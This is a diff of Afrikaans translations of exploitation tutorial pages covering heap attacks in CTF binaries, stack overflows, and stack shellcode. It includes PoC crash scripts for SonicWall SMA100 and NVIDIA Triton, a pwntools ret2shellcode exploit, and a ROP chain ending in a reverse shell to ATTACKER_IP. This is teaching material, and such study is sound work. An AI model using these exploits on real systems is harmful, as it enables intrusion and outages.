gealloceer met dieselfde grootte as chunk1, wat die unsorted bin attack sal aktiveer en die waarde van die globale veranderlike sal wysig, wat dit moontlik maak om die vlag te kry. +- Die doel is om 'n globale veranderlike oor te skryf met 'n waarde groter as 4869 sodat dit moontlik is om die flag te kry en PIE is nie aangeskakel nie. +- Dit is moontlik om chunks van arbitrêre groottes te genereer en daar is 'n heap overflow met die gewenste grootte. +- Die aanval begin deur 3 chunks te skep: chunk0 om die overflow te misbruik, chunk1 wat oorvloed gaan word en chunk2 sodat die top chunk nie die vorige eenhede konsolideer nie. +- Dan word chunk1 vrygestel en chunk0 oorloop sodat die `bk` pointer van chunk1 wys na: `bk = magic - 0x10` +- Dan word chunk3 gealloceer met dieselfde grootte as chunk1, wat die unsorted bin attack sal aktiveer en die waarde van die globale veranderlike sal wysig, wat dit moontlik maak om die flag te kry. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) -- Die merge-funksie is kwesbaar omdat as albei indekse dieselfde is, dit op dit self gaan realloc en dan vrylaat maar 'n pointer na daardie vrygemaakte gebied teruggee wat gebruik kan word. -- Daarom word **2 chunks geskep**: **chunk0** wat met homself en chunk1 gesmelt gaan word om konsolidasie met die top chunk te voorkom. Dan word die **merge** funksie met chunk0 twee keer aangeroep wat 'n use after free veroorsaak. -- Daarna word die **`view`** funksie aangeroep met index 2 (die index van die use after free chunk), wat 'n libc address sal leak. -- Aangesien die binary beskermings het om slegs te malloc groottes groter as **`global_max_fast`** te laat, sodat geen fastbin gebruik word nie, gaan 'n unsorted bin attack gebruik word om die globale veranderlike `global_max_fast` oor te skryf. -- Dan is dit moontlik om die edit funksie te noem met index 2 (die use after free pointer) en die `bk` pointer oor te skryf om te wys na `p64(global_max_fast-0x10)`. Daarna sal die skepping van 'n nuwe chunk die voorheen gekompromitteerde free address (0x20) gebruik en **die unsorted bin attack** trigger wat `global_max_fast` oorskryf tot 'n baie groot waarde, wat nou toelaat om chunks in fast bins te skep. +- Die merge-funksie is kwesbaar omdat as beide indekse wat deurgegee word dieselfde is, dit 'n realloc op dit sal uitvoer en dan vrygee, maar 'n pointer na daardie vrygestelde area sal teruggee wat gebruik kan word. +- Daarom word **2 chunks geskep**: **chunk0** wat met homself gemerg sal word en chunk1 om konsolidasie met die top chunk te voorkom. Dan word die **merge function met chunk0** twee keer geroep wat 'n use after free sal veroorsaak. +- Dan word die **`view`** function met indeks 2 geroep (wat die indeks van die use after free chunk is), wat 'n libc address sal leak. +- Aangesien die binary beskermings het om slegs sizes groter as **`global_max_fast`** te malloc, sodat geen fastbin gebruik word nie, gaan 'n unsorted bin attack gebruik word om die globale veranderlike `global_max_fast` oor te skryf. +- Dan is dit moontlik om die edit function met indeks 2 (die use after free pointer) te roep en die `bk` pointer oor te skryf om na `p64(global_max_fast-0x10)` te wys. Daarna sal die skep van 'n nuwe chunk die voorheen gekompromitteerde vryadres (0x20) gebruik en die **unsorted bin attack** sal getrigger word wat die `global_max_fast` oorskryf met 'n baie groot waarde, wat nou toelaat om chunks in fast bins te skep. - Nou word 'n **fast bin attack** uitgevoer: -- Eerstens is gevind dat dit moontlik is om met fast **chunks van grootte 200** in die **`__free_hook`** ligging te werk: +- Eerstens is dit ontdek dat dit moontlik is om met fast **chunks of size 200** in die **`__free_hook`** ligging te werk: - 
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -114,20 +115,20 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-- As ons 'n fast chunk van grootte 0x200 in hierdie ligging kan kry, sal dit moontlik wees om 'n function pointer oor te skryf wat uitgevoer gaan word. -- Hiervoor word 'n nuwe chunk van grootte `0xfc` geskep en die merge funksie met daardie pointer twee keer aangeroep; op hierdie manier kry ons 'n pointer na 'n vrygemaakte chunk van grootte `0xfc*2 = 0x1f8` in die fast bin. -- Dan word die edit funksie op hierdie chunk aangeroep om die **`fd`** adres van hierdie fast bin te wysig om na die vorige **`__free_hook`** funksie te wys. -- Daarna word 'n chunk met grootte `0x1f8` geskep om die vorige nuttelose chunk uit die fast bin te haal en nog 'n chunk van grootte `0x1f8` gealloceer om 'n fast bin chunk in die **`__free_hook`** te kry wat oor geskryf word met die adres van die **`system`** funksie. -- En uiteindelik word 'n chunk met die string `/bin/sh\x00` vrygestel deur die delete funksie aan te roep, wat die **`__free_hook`** funksie trigger wat na system wys met `/bin/sh\x00` as parameter. +- As ons daarin slaag om 'n fast chunk van grootte 0x200 in hierdie ligging te kry, sal dit moontlik wees om 'n function pointer oor te skryf wat uitgevoer sal word. +- Daarvoor word 'n nuwe chunk van grootte `0xfc` geskep en die merged function met daardie pointer twee keer geroep; op hierdie manier verkry ons 'n pointer na 'n vrygestelde chunk van grootte `0xfc*2 = 0x1f8` in die fast bin. +- Dan word die edit function op hierdie chunk geroep om die **`fd`** adres van hierdie fast bin te wysig om na die vorige **`__free_hook`** funksie te wys. +- Daarna word 'n chunk van grootte `0x1f8` geskep om uit die fast bin die vorige nuttelose chunk te herwin, sodat nog 'n chunk van grootte `0x1f8` geskep word om 'n fast bin chunk in die **`__free_hook`** te kry, wat met die adres van die **`system`** funksie oorskryf word. +- En uiteindelik word 'n chunk wat die string `/bin/sh\x00` bevat vrygestel deur die delete function te roep, wat die **`__free_hook`** funksie aktiveer wat na system wys met `/bin/sh\x00` as parameter. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- Nog 'n voorbeeld van die misbruik van 'n 1B overflow om chunks in die unsorted bin te konsolideer en 'n libc infoleak te kry en dan 'n fast bin attack uit te voer om malloc hook met 'n one gadget adres te oor skryf +- 'n Ander voorbeeld van die misbruik van 'n 1B overflow om chunks in die unsorted bin te konsolideer en 'n libc infoleak te kry en dan 'n fast bin attack uit te voer om die malloc hook met 'n one gadget address oorskryf. - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) -- Ons kan slegs chunks van grootte groter as `0x100` allokeer. -- Oorskryf `global_max_fast` deur 'n Unsorted Bin attack (werk 1/16 keer weens ASLR, omdat ons 12 bits moet verander, maar ons moet 16 bits verander). -- Fast Bin attack om 'n globale array van chunks te wysig. Dit gee 'n arbitrêre read/write primitive, wat toelaat om die GOT te wysig en 'n funksie na `system` te laat wys. +- Ons kan slegs chunks van grootte groter as `0x100` alloceer. +- Oorskryf `global_max_fast` met 'n Unsorted Bin attack (werk 1/16 keer as gevolg van ASLR, omdat ons 12 bisse moet wysig, maar ons moet 16 bisse wysig). +- Fast Bin attack om 'n globale array van chunks te wysig. Dit gee 'n arbitrary read/write primitive, wat toelaat om die GOT te wysig en 'n funksie te stel om na `system` te wys. -## Verwysings +## References -- Glibc malloc unsorted-bin integrity checks (voorbeeld in 2.33 bron): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c -- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c +- Glibc malloc unsorted-bin integriteitskontroles (voorbeeld in 2.33 bron): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c +- `global_max_fast` en verwante definisies in moderne glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 7b4041492..02fe7f998 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,13 +4,13 @@ ## Wat is 'n Stack Overflow -A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **oorskryf aangrensende geheuerruimte**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input. +A **stack overflow** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stack skryf as wat daarvoor toegeken is om te hou. Hierdie oortollige data sal die **aangrensende geheue-ruimte oorskryf**, wat lei tot die korrupsie van geldige data, ontwrigting van die uitvoeringsvloei, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat geen grenskontrole op insette uitvoer nie. -Die hoofprobleem van hierdie oorskrywing is dat die **gestoorde instruksie-aanwyser (EIP/RIP)** en die **gestoorde basis-aanwyser (EBP/RBP)** om na die vorige funksie terug te keer, **op die stack gestoor** word. Daarom kan 'n aanvaller hierdie waardes oorskryf en die **uitvoeringsvloei van die program beheer**. +Die hoofprobleem van hierdie oorskrywing is dat die **saved instruction pointer (EIP/RIP)** en die **saved base pointer (EBP/RBP)** om terug te keer na die vorige funksie **op die stack gestoor** word. Daarom sal 'n aanvaller dit kan oorskryf en die **uitvoeringsvloei van die program beheer**. -Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **op die stack meer bytes kopieer as wat daarvoor toegewys is**, en gevolglik ander dele van die stack kan oorskryf. +Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **meer bytes binne die stack kopieer as die hoeveelheid daarvoor toegeken is**, en dus ander dele van die stack kan oorskryf. -Party algemene funksies wat vatbaar hiervoor is: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ook funksies soos **`fgets`**, **`read`** & **`memcpy`** wat 'n **lengte-argument** aanvaar, kan op 'n kwesbare wyse gebruik word as die gespesifiseerde lengte groter is as die toegewysde een. +Sommige algemene funksies wat hiervoor kwesbaar is: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ook funksies soos **`fgets`**, **`read`** & **`memcpy`** wat 'n **lengte-argument** neem, kan op 'n kwesbare wyse gebruik word as die gespesifiseerde lengte groter is as die toegekende een. Byvoorbeeld, die volgende funksies kan kwesbaar wees: ```c @@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Vind offsets van Stack Overflows +### Vind Stack Overflows offsets -Die algemeenste manier om stack overflows te vind is om 'n baie groot invoer van `A`s te gee (bv. `python3 -c 'print("A"*1000)'`) en 'n `Segmentation Fault` te verwag wat aandui dat die **adres `0x41414141` probeer gekry is**. +Die mees algemene manier om Stack Overflows te vind is om 'n baie groot invoer van `A`s te gee (e.g. `python3 -c 'print("A"*1000)'`) en te wag vir 'n `Segmentation Fault` wat aandui dat die **adres `0x41414141` probeer aangespreek is**. -Verder, sodra jy gevind het dat daar 'n Stack Overflow vulnerability is, sal jy die offset moet bepaal totdat dit moontlik is om die **return address te overwrite**; hiervoor word gewoonlik 'n **De Bruijn sequence** gebruik. Vir 'n gegewe alfabet van grootte _k_ en subreeksse van lengte _n_ is dit 'n **sikliese volgorde waarin elke moontlike subreeks van lengte _n_ presies een keer as 'n aaneenlopende subreeks voorkom**. +Verder, sodra jy gevind het dat daar 'n Stack Overflow kwetsbaarheid is, sal jy die offset moet vind totdat dit moontlik is om die **overwrite the return address**, hiervoor word gewoonlik 'n **De Bruijn sequence** gebruik. Wat, vir 'n gegewe alfabet van grootte _k_ en subreeksies van lengte _n_, 'n **sikliese volgorde is waarin elke moontlike subreeks van lengte _n_ presies een keer as 'n aaneenlopende subreeks verskyn.** -Op hierdie manier, in plaas daarvan om met die hand uit te werk watter offset nodig is om die EIP te beheer, kan jy een van hierdie sequences as padding gebruik en dan die offset vind van die bytes wat dit uiteindelik overwrite het. +Op hierdie manier, in plaas daarvan om met die hand uit te figureer watter offset nodig is om die EIP te beheer, kan jy een van hierdie sequences as padding gebruik en dan die offset vind van die bytes wat dit uiteindelik oorskryf het. Dit is moontlik om **pwntools** hiervoor te gebruik: ```python @@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp ``` ## Uitbuiting van Stack Overflows -Tydens 'n overflow (aanneem die overflow-grootte is groot genoeg) sal jy in staat wees om waardes van plaaslike veranderlikes binne die stack te **overwrite** totdat jy die gestoorde **EBP/RBP and EIP/RIP (or even more)** bereik.\ -Die mees algemene manier om hierdie tipe kwetsbaarheid te misbruik is deur die **return address** te wysig sodat wanneer die funksie eindig die **control flow** herlei sal word na waar die gebruiker in hierdie pointer gespesifiseer het. +During an overflow (supposing the overflow size if big enough) you will be able to **oorskryf** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\ +Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik is deur die **terugkeeradres te wysig** sodat wanneer die funksie eindig die **control flow herlei sal word na waar die gebruiker in hierdie pointer gespesifiseer het**. -In ander scenario's mag dit egter genoeg wees om net sekere veranderlikewaardes op die stack te **overwrite** (like in easy CTF challenges). +However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges). ### Ret2win -In hierdie tipe CTF challenges is daar 'n **function** **inside** die binary wat **never called** word en wat **you need to call in order to win**. Vir hierdie challenges hoef jy net die **offset to overwrite the return address** te vind en die **address of the function** om aan te roep (gewoonlik sal [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) gedeaktiveer wees) sodat wanneer die vulnerable function returns, die hidden function aangeroep sal word: +In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) would be disabled) so when the vulnerable function returns, the hidden function will be called: {{#ref}} @@ -66,7 +66,7 @@ ret2win/ ### Stack Shellcode -In hierdie scenario kan die aanvaller 'n shellcode op die stack plaas en die beheerste EIP/RIP misbruik om na die shellcode te jump en arbitrary code uit te voer: +In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code: {{#ref}} @@ -75,7 +75,7 @@ stack-shellcode/ ### Windows SEH-based exploitation (nSEH/SEH) -Op 32-bit Windows kan 'n overflow die Structured Exception Handler (SEH) ketting overskryf in plaas van die gestoorde return address. Eksploitasie vervang tipies die SEH pointer met 'n POP POP RET gadget en gebruik die 4-byte nSEH veld vir 'n kort jump om terug te pivot in die groot buffer waar die shellcode lê. 'n Algemene patroon is 'n kort jmp in nSEH wat op 'n 5-byte near jmp land wat net voor nSEH geplaas is om honderde bytes terug na die payload-begin te jump. +On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start. {{#ref}} @@ -84,7 +84,7 @@ windows-seh-overflow.md ### ROP & Ret2... techniques -Hierdie tegniek is die fundamentele raamwerk om die hoofbeskerming teen die vorige tegniek te omseil: **No executable stack (NX)**. Dit laat ook toe om verskeie ander tegnieke uit te voer (ret2lib, ret2syscall...) wat uiteindelik arbitrary commands sal uitvoer deur bestaande instruksies in die binary te misbruik: +This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary: {{#ref}} @@ -93,7 +93,7 @@ Hierdie tegniek is die fundamentele raamwerk om die hoofbeskerming teen die vori ## Heap Overflows -' n Overflow gaan nie altyd in die stack plaasvind nie; dit kan byvoorbeeld ook in die **heap** wees: +An overflow is not always going to be in the stack, it could also be in the **heap** for example: {{#ref}} @@ -102,42 +102,43 @@ Hierdie tegniek is die fundamentele raamwerk om die hoofbeskerming teen die vori ## Tipes beskerming -Daar is verskeie beskermings wat probeer voorkom dat kwesbaarhede geëksploiteer word; kyk daarna in: +There are several protections trying to prevent the exploitation of vulnerabilities, check them in: {{#ref}} ../common-binary-protections-and-bypasses/ {{#endref}} -### Real-World Example: CVE-2025-40596 (SonicWall SMA100) +### Werklike voorbeeld: CVE-2025-40596 (SonicWall SMA100) -'n Goeie demonstrasie van waarom **`sscanf` moet nooit vertrou word vir die parse van onbetroubare input nie** het in 2025 in SonicWall’s SMA100 SSL-VPN appliance voorgekom. Die kwesbare roetine binne `/usr/src/EasyAccess/bin/httpd` probeer die version en endpoint uit enige URI onttrek wat met `/__api__/` begin: +A good demonstration of why **`sscanf` should never be trusted for parsing untrusted input** appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance. +Die kwesbare roetine binne `/usr/src/EasyAccess/bin/httpd` probeer die weergawe en endpoint uit enige URI te onttrek wat begin met `/__api__/`: ```c char version[3]; char endpoint[0x800] = {0}; /* simplified proto-type */ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` -1. Die eerste omskakeling (`%2s`) stoor veilig **twee** bytes in `version` (bv. `"v1"`). -2. Die tweede omskakeling (`%s`) **het geen lengte-spesifiseerder nie**, daarom sal `sscanf` aanhou kopieer **tot by die eerste NUL byte**. -3. Omdat `endpoint` op die **stack** geleë is en **0x800 bytes long**, veroorsaak 'n pad langer as 0x800 bytes dat alles wat ná die buffer lê korrupteer word ‑ insluitend die **stack canary** en die **saved return address**. +1. Die eerste konversie (`%2s`) stoor veilig **twee** bytes in `version` (bv. `"v1"`). +2. Die tweede konversie (`%s`) **het geen lengte-spesifiseerder nie**, daarom sal `sscanf` bly kopieer **tot by die eerste NUL byte**. +3. Omdat `endpoint` op die **stack** geleë is en **0x800 bytes long**, korrupteer die verskaffing van 'n pad langer as 0x800 bytes alles wat na die buffer sit ‑ insluitend die **stack canary** en die **saved return address**. -Een enkele reël proof-of-concept is genoeg om die crash **before authentication** te trigger: +Een enkele reël proof-of-concept is genoeg om die crash **before authentication** te veroorsaak: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). Die les is eenvoudig: +Alhoewel stack canaries die proses beëindig, kry 'n aanvaller steeds 'n **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). Die les is eenvoudig: -* Verskaf altyd 'n **maksimum veldwydte** (bv. `%511s`). -* Gebruik verkieslik veiliger alternatiewe soos `snprintf`/`strncpy_s`. +* Gee altyd 'n **maksimum veldbreedte** (bv. `%511s`). +* Gee voorkeur aan veiliger alternatiewe soos `snprintf`/`strncpy_s`. -### Werklike voorbeeld: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) +### Werklike Voorbeeld: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -NVIDIA’s Triton Inference Server (≤ v25.06) het verskeie **stack-based overflows** gehad wat deur sy HTTP API bereikbaar was. -Die kwesbare patroon het herhaaldelik verskyn in `http_server.cc` en `sagemaker_server.cc`: +NVIDIA se Triton Inference Server (≤ v25.06) het verskeie **stack-based overflows** bevat wat via sy HTTP API bereik kon word. +Die kwesbare patroon het herhaaldelik in `http_server.cc` en `sagemaker_server.cc` voorgekom: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); if (n > 0) { @@ -147,11 +148,11 @@ alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` -1. `evbuffer_peek` (libevent) gee die **aantal interne buffer-segmente** wat die huidige HTTP versoekliggaam saamstel. -2. Elke segment veroorsaak dat 'n **16-byte** `evbuffer_iovec` op die **stack** via `alloca()` toegeken word – **sonder enige boonste grens**. -3. Deur **HTTP _chunked transfer-encoding_** te misbruik, kan 'n kliënt die versoek dwing om in **honderde-duisende 6-byte-stukke** (`"1\r\nA\r\n"`) gesplit te word. Dit laat `n` onbeperk groei totdat die **stack** uitgeput is. +1. `evbuffer_peek` (libevent) gee die **aantal interne buffersegmente** wat die huidige HTTP-versoekliggaam saamstel. +2. Elke segment veroorsaak dat 'n **16-byte** `evbuffer_iovec` op die **stack** via `alloca()` gealloceer word – **sonder enige boonste beperking**. +3. Deur **HTTP _chunked transfer-encoding_** te misbruik, kan 'n kliënt die versoek dwing om in **honderde duisende 6-byte stukkies** (`"1\r\nA\r\n"`) opgesplit te word. Dit laat `n` onbeperk groei totdat die stack uitgeput is. -#### Bewys van konsep (DoS) +#### Bewys-van-Konsep (DoS) ```python #!/usr/bin/env python3 import socket, sys @@ -175,9 +176,9 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -'n ~3 MB versoek is genoeg om die gestoorde return address te oorskryf en die daemon op 'n standaard build te **crash**. +'n ~3 MB versoek is genoeg om die gestoorde return address te oorskryf en **crash** die daemon op 'n default build. -#### Patch & Versagting +#### Patch & Mitigation Die 25.07 release vervang die onveilige stack allocation met 'n **heap-backed `std::vector`** en hanteer `std::bad_alloc` op 'n elegante wyse: ```c++ std::vector v_vec; @@ -189,9 +190,9 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); struct evbuffer_iovec *v = v_vec.data(); ``` Lesse geleer: -* Moet nooit `alloca()` met attacker-controlled sizes aanroep nie. -* Chunked requests kan die vorm van server-side buffers drasties verander. -* Valideer / beperk enige waarde wat vanaf client input afgelei is *voordat* dit in memory allocations gebruik word. +* Moenie `alloca()` met groottes wat deur die aanvaller beheer word aanroep nie. +* Chunked requests kan drasties die vorm van server-side buffers verander. +* Valideer / beperk enige waarde wat uit kliëntinvoer afgelei is *voor* jy dit in geheue-toewysings gebruik. ## Verwysings * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 4726da93b..c97d9e5f7 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,7 +4,7 @@ ## Basiese Inligting -**Stack shellcode** is 'n tegniek wat in **binary exploitation** gebruik word waar 'n aanvaller shellcode na 'n kwesbare program se stack skryf en dan die **Instruction Pointer (IP)** of **Extended Instruction Pointer (EIP)** wysig om na die ligging van hierdie shellcode te wys, wat veroorsaak dat dit uitgevoer word. Dit is 'n klassieke metode wat gebruik word om ongemagtigde toegang te verkry of willekeurige opdragte op 'n teikenstelsel uit te voer. Hier is 'n uiteensetting van die proses, insluitend 'n eenvoudige C-voorbeeld en hoe jy 'n ooreenstemmende exploit met Python en **pwntools** kan skryf. +**Stack shellcode** is 'n tegniek wat in **binary exploitation** gebruik word waar 'n aanvaller shellcode op 'n kwesbare program se stack skryf en dan die **Instruction Pointer (IP)** of **Extended Instruction Pointer (EIP)** wysig om na die ligging van hierdie shellcode te wys, wat veroorsaak dat dit uitgevoer word. Dit is 'n klassieke metode wat gebruik word om ongemagtigde toegang te verkry of om arbitrêre opdragte op 'n teikenstelsel uit te voer. Hier is 'n uiteensetting van die proses, insluitend 'n eenvoudige C-voorbeeld en hoe jy 'n ooreenstemmende exploit met Python en **pwntools** kan skryf. ### C Voorbeeld: 'n Kwesbare Program @@ -28,18 +28,18 @@ Hierdie program is kwesbaar vir 'n buffer overflow as gevolg van die gebruik van ### Kompilering -Om hierdie program te kompileer terwyl verskeie beskermings gedeaktiveer word (om 'n kwesbare omgewing na te boots), kan jy die volgende opdrag gebruik: +Om hierdie program te kompileer terwyl verskeie beskermings gedeaktiveer word (om 'n kwesbare omgewing te simuleer), kan jy die volgende opdrag gebruik: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` -- `-fno-stack-protector`: Skakel stack protection af. -- `-z execstack`: Maak die stack uitvoerbaar, wat nodig is om shellcode wat op die stack gestoor is uit te voer. -- `-no-pie`: Skakel Position Independent Executable (PIE) af, wat dit makliker maak om die geheueadres te voorspel waar ons shellcode sal wees. +- `-fno-stack-protector`: Skakel stack-beskerming af. +- `-z execstack`: Maak die stack uitvoerbaar, wat nodig is om shellcode wat op die stack gestoor is, uit te voer. +- `-no-pie`: Skakel Position Independent Executable af, wat dit makliker maak om die geheueadres te voorspel waar ons shellcode geleë sal wees. - `-m32`: Kompileer die program as 'n 32-bit uitvoerbare, dikwels gebruik vir eenvoud in exploit development. ### Python Exploit met Pwntools -Hier is hoe jy 'n exploit in Python met **pwntools** kan skryf om 'n **ret2shellcode** attack uit te voer: +Hier is hoe jy 'n exploit in Python met **pwntools** kan skryf om 'n **ret2shellcode** aanval uit te voer: ```python from pwn import * @@ -66,26 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -Hierdie skrip bou 'n payload wat bestaan uit 'n **NOP slide**, die **shellcode**, en oorskryf dan die **EIP** met die adres wat na die NOP slide wys, wat verseker dat die shellcode uitgevoer word. +Hierdie script bou 'n payload wat bestaan uit 'n **NOP slide**, die **shellcode**, en dan oor skryf die **EIP** met die adres wat na die NOP slide wys, om te verseker dat die shellcode uitgevoer word. -Die **NOP slide** (`asm('nop')`) word gebruik om die kans te vergroot dat die uitvoering na ons shellcode sal "slide" ongeag die presiese adres. Stel die `p32()` argument aan na die beginadres van jou buffer plus 'n offset om in die NOP slide te beland. +Die **NOP slide** (`asm('nop')`) word gebruik om die kans te verhoog dat uitvoering in ons shellcode "slide" ongeag die presiese adres. Pas die `p32()` argument aan na die beginadres van jou buffer plus 'n offset om in die NOP slide te land. ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) -Op moderne Windows is die stack nie-uitvoerbaar nie (DEP/NX). 'n Algemene manier om steeds stack-resident shellcode ná 'n stack BOF uit te voer, is om 'n 64-bit ROP-ketting te bou wat VirtualAlloc (of VirtualProtect) vanaf die module Import Address Table (IAT) aanroep om 'n area van die stack uitvoerbaar te maak en dan terug te keer na die shellcode wat ná die ketting aangeheg is. +Op moderne Windows is die stack nie-uitvoerbaar (DEP/NX). 'n Algemene manier om steeds stack-resident shellcode na 'n stack BOF uit te voer is om 'n 64-bit ROP chain te bou wat VirtualAlloc (of VirtualProtect) vanaf die module Import Address Table (IAT) aanroep om 'n streek van die stack uitvoerbaar te maak en dan terug te keer in die shellcode wat na die chain aangeheg is. Key points (Win64 calling convention): - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) -- RCX = lpAddress → kies 'n adres in die huidige stack (bv. RSP) sodat die nuut-geallokeerde RWX-streek oorvleuel met jou payload -- RDX = dwSize → groot genoeg vir jou ketting + shellcode (bv. 0x1000) +- RCX = lpAddress → kies 'n adres in die huidige stack (bv. RSP) sodat die nuut toegewezen RWX-streek oorvleuel met jou payload +- RDX = dwSize → groot genoeg vir jou chain + shellcode (bv. 0x1000) - R8 = flAllocationType = MEM_COMMIT (0x1000) - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) - Return directly into the shellcode placed right after the chain. Minimal strategy: -1) Leak 'n module base (bv. via 'n format-string, object pointer, ens.) om absolute gadget- en IAT-adresse onder ASLR te bereken. -2) Vind gadgets om RCX/RDX/R8/R9 te laai (pop- of mov/xor-gebaseerde reekse) en 'n call/jmp [VirtualAlloc@IAT]. As jy nie direkte pop r8/r9 het nie, gebruik aritmetiese gadgets om konstantes te sintetiseer (bv. stel r8=0 en tel herhaaldelik r9 by met 0x40 veertig keer om 0x1000 te bereik). -3) Plaas stage-2 shellcode onmiddellik na die ketting. +1) Leak a module base (e.g., via a format-string, object pointer, etc.) om absolute gadget- en IAT-adresse onder ASLR te bereken. +2) Vind gadgets om RCX/RDX/R8/R9 te laai (pop of mov/xor-gebaseerde sequences) en 'n call/jmp [VirtualAlloc@IAT]. As jy nie direkte pop r8/r9 het nie, gebruik rekenkundige gadgets om konstantte te sintetiseer (bv. stel r8=0 en voeg herhaaldelik r9=0x40 by veertig keer om 0x1000 te bereik). +3) Plaas stage-2 shellcode onmiddellik na die chain. Example layout (conceptual): ``` @@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000 JMP_SHELLCODE_OR_RET # ---- stage-2 shellcode (x64) ---- ``` -Met 'n beperkte gadget-stel kan jy registerwaardes indirek saamstel, byvoorbeeld: -- mov r9, rbx; mov r8, 0; add rsp, 8; ret → stel r9 van rbx, maak r8 nul, en kompenseer die stack met 'n rommel qword. -- xor rbx, rsp; ret → laai rbx met die huidige stack pointer. -- push rbx; pop rax; mov rcx, rax; ret → skuif 'n RSP-afgeleide waarde na RCX. +Met 'n beperkte gadget set, kan jy registerwaardes indirek opstel, byvoorbeeld: +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → stel r9 uit rbx, maak r8 nul, en kompenseer die stack met 'n rommel qword. +- xor rbx, rsp; ret → initialiseer rbx met die huidige stack pointer. +- push rbx; pop rax; mov rcx, rax; ret → skuif RSP-afgeleide waarde na RCX. -Pwntools-voorbeeld (gegee 'n bekende base en gadgets): +Pwntools-skets (gegee 'n bekende base en gadgets): ```python from pwn import * base = 0x7ff6693b0000 @@ -134,28 +134,28 @@ rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) ``` Wenke: - VirtualProtect werk soortgelyk as dit verkieslik is om 'n bestaande buffer RX te maak; die parameterorde is anders. -- As die stack-ruimte beperk is, ken RWX elders toe (RCX=NULL) en jmp na daardie nuwe streek in plaas 